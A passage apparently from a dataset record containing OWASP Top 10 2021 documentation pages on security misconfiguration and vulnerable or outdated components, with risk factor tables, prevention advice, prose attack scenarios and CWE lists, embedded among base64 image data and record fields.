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){: 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## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 20 | 19.84% | 4.51% | 8.12 | 6.56 | 89.58% | 44.84% | 208,387 | 789 |
## Overview
Moving up from #6 in the previous edition, 90% of applications were
tested for some form of misconfiguration, with an average incidence rate of 4.%, and over 208k occurrences of a Common Weakness Enumeration (CWE) in this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up.
Notable CWEs included are *CWE-16 Configuration* and *CWE-611 Improper
Restriction of XML External Entity Reference*.
## Description
The application might be vulnerable if the application is:
- Missing appropriate security hardening across any part of the
application stack or improperly configured permissions on cloud
services.
- Unnecessary features are enabled or installed (e.g., unnecessary
ports, services, pages, accounts, or privileges).
- Default accounts and their passwords are still enabled and
unchanged.
- Error handling reveals stack traces or other overly informative
error messages to users.
- For upgraded systems, the latest security features are disabled or
not configured securely.
- The security settings in the application servers, application
frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases,
etc., are not set to secure values.
- The server does not send security headers or directives, or they are
not set to secure values.
- The software is out of date or vulnerable (see [A06:2021-Vulnerable
and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components.md)).
Without a concerted, repeatable application security configuration
process, systems are at a higher risk.
## How to Prevent
Secure installation processes should be implemented, including:
- A repeatable hardening process makes it fast and easy to deploy
another environment that is appropriately locked down. Development,
QA, and production environments should all be configured
identically, with different credentials used in each environment.
This process should be automated to minimize the effort required to
set up a new secure environment.
- A minimal platform without any unnecessary features, components,
documentation, and samples. Remove or do not install unused features
and frameworks.
- A task to review and update the configurations appropriate to all
security notes, updates, and patches as part of the patch management
process (see [A06:2021-Vulnerable
and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components.md)). Review
cloud storage permissions (e.g., S3 bucket permissions).
- A segmented application architecture provides effective and secure
separation between components or tenants, with segmentation,
containerization, or cloud security groups (ACLs).
- Sending security directives to clients, e.g., Security Headers.
- An automated process to verify the effectiveness of the
configurations and settings in all environments.
## Example Attack Scenarios
**Scenario #1:** The application server comes with sample applications
not removed from the production server. These sample applications have
known security flaws attackers use to compromise the server. Suppose one
of these applications is the admin console, and default accounts weren't
changed. In that case, the attacker logs in with default passwords and
takes over.
**Scenario #2:** Directory listing is not disabled on the server. An
attacker discovers they can simply list directories. The attacker finds
and downloads the compiled Java classes, which they decompile and
reverse engineer to view the code. The attacker then finds a severe
access control flaw in the application.
**Scenario #3:** The application server's configuration allows detailed
error messages, e.g., stack traces, to be returned to users. This
potentially exposes sensitive information or underlying flaws such as
component versions that are known to be vulnerable.
**Scenario #4:** A cloud service provider (CSP) has default sharing
permissions open to the Internet by other CSP users. This allows
sensitive data stored within cloud storage to be accessed.
## References
- [OWASP Testing Guide: Configuration
Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)
- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)
- [Application Security Verification Standard V14 Configuration](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x22-V14-Config.md)
- [NIST Guide to General Server
Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)
- [CIS Security Configuration
Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
- [Amazon S3 Bucket Discovery and
Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)
## List of Mapped CWEs
[CWE-2 7PK - Environment](https://cwe.mitre.org/data/definitions/2.html)
[CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)
[CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)
[CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)
[CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)
[CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)
[CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)
[CWE-520 .NET Misconfiguration: Use of Impersonation](https://cwe.mitre.org/data/definitions/520.html)
[CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)
[CWE-537 Java Runtime Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/537.html)
[CWE-541 Inclusion of Sensitive Information in an Include File](https://cwe.mitre.org/data/definitions/541.html)
[CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)
[CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)
[CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)
[CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)
[CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)
[CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)
[CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)
[CWE-1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration](https://cwe.mitre.org/data/definitions/1032.html)
[CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)
|
A06_2021-Vulnerable_and_Outdated_Components.md | ./Top10/2021/docs/A06_2021-Vulnerable_and_Outdated_Components.md | # A06:2021 – Vulnerable and Outdated Components ![icon](assets/TOP_10_Icons_Final_Vulnerable_Outdated_Components.png){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 3 | 27.96% | 8.77% | 51.78% | 22.47% | 5.00 | 5.00 | 30,457 | 0 |
## Overview
It was #2 from the Top 10 community survey but also had enough data to make the
Top 10 via data. Vulnerable Components are a known issue that we
struggle to test and assess risk and is the only category to not have
any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploits/impact
weight of 5.0 is used. Notable CWEs included are *CWE-1104: Use of
Unmaintained Third-Party Components* and the two CWEs from Top 10 2013
and 2017.
## Description
You are likely vulnerable:
- If you do not know the versions of all components you use (both
client-side and server-side). This includes components you directly
use as well as nested dependencies.
- If the software is vulnerable, unsupported, or out of date. This
includes the OS, web/application server, database management system
(DBMS), applications, APIs and all components, runtime environments,
and libraries.
- If you do not scan for vulnerabilities regularly and subscribe to
security bulletins related to the components you use.
- If you do not fix or upgrade the underlying platform, frameworks,
and dependencies in a risk-based, timely fashion. This commonly
happens in environments when patching is a monthly or quarterly task
under change control, leaving organizations open to days or months
of unnecessary exposure to fixed vulnerabilities.
- If software developers do not test the compatibility of updated,
upgraded, or patched libraries.
- If you do not secure the components’ configurations (see
[A05:2021-Security Misconfiguration](A05_2021-Security_Misconfiguration.md)).
## How to Prevent
There should be a patch management process in place to:
- Remove unused dependencies, unnecessary features, components, files,
and documentation.
- Continuously inventory the versions of both client-side and
server-side components (e.g., frameworks, libraries) and their
dependencies using tools like versions, OWASP Dependency Check,
retire.js, etc. Continuously monitor sources like Common Vulnerability and
Exposures (CVE) and National Vulnerability Database (NVD) for
vulnerabilities in the components. Use software composition analysis
tools to automate the process. Subscribe to email alerts for
security vulnerabilities related to components you use.
- Only obtain components from official sources over secure links.
Prefer signed packages to reduce the chance of including a modified,
malicious component (See A08:2021-Software and Data Integrity
Failures).
- Monitor for libraries and components that are unmaintained or do not
create security patches for older versions. If patching is not
possible, consider deploying a virtual patch to monitor, detect, or
protect against the discovered issue.
Every organization must ensure an ongoing plan for monitoring, triaging,
and applying updates or configuration changes for the lifetime of the
application or portfolio.
## Example Attack Scenarios
**Scenario #1:** Components typically run with the same privileges as
the application itself, so flaws in any component can result in serious
impact. Such flaws can be accidental (e.g., coding error) or intentional
(e.g., a backdoor in a component). Some example exploitable component
vulnerabilities discovered are:
- CVE-2017-5638, a Struts 2 remote code execution vulnerability that
enables the execution of arbitrary code on the server, has been
blamed for significant breaches.
- While the internet of things (IoT) is frequently difficult or
impossible to patch, the importance of patching them can be great
(e.g., biomedical devices).
There are automated tools to help attackers find unpatched or
misconfigured systems. For example, the Shodan IoT search engine can
help you find devices that still suffer from Heartbleed vulnerability
patched in April 2014.
## References
- [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](/www-project-application-security-verification-standard)
- [OWASP Dependency Check (for Java and .NET libraries)](/www-project-dependency-check)
- [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)
- [OWASP Virtual Patching Best Practices](/www-community/Virtual_Patching_Best_Practices)
- [The Unfortunate Reality of Insecure Libraries](https://cdn2.hubspot.net/hub/203759/file-1100864196-pdf/docs/Contrast_-_Insecure_Libraries_2014.pdf)
- [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cvedetails.com/version-search.php)
- [National Vulnerability Database (NVD)](https://nvd.nist.gov/)
- [Retire.js for detecting known vulnerable JavaScript libraries](https://github.com/retirejs/retire.js/)
- [GitHub Advisory Database](https://github.com/advisories)
- [Ruby Libraries Security Advisory Database and Tools](https://rubysec.com/)
- [SAFECode Software Integrity Controls \[PDF\]](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)
## List of Mapped CWEs
[CWE-937 OWASP Top 10 2013: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/937.html)
[CWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities](https://cwe.mitre.org/data/definitions/1035.html)
[CWE-1104 Use of Unmaintained Third Party Components](https://cwe.mitre.org/data/definitions/1104.html)
| 6,277 | 0.00599 | # A06:2021 – Vulnerable and Outdated Components ![icon](data:image/png;base64,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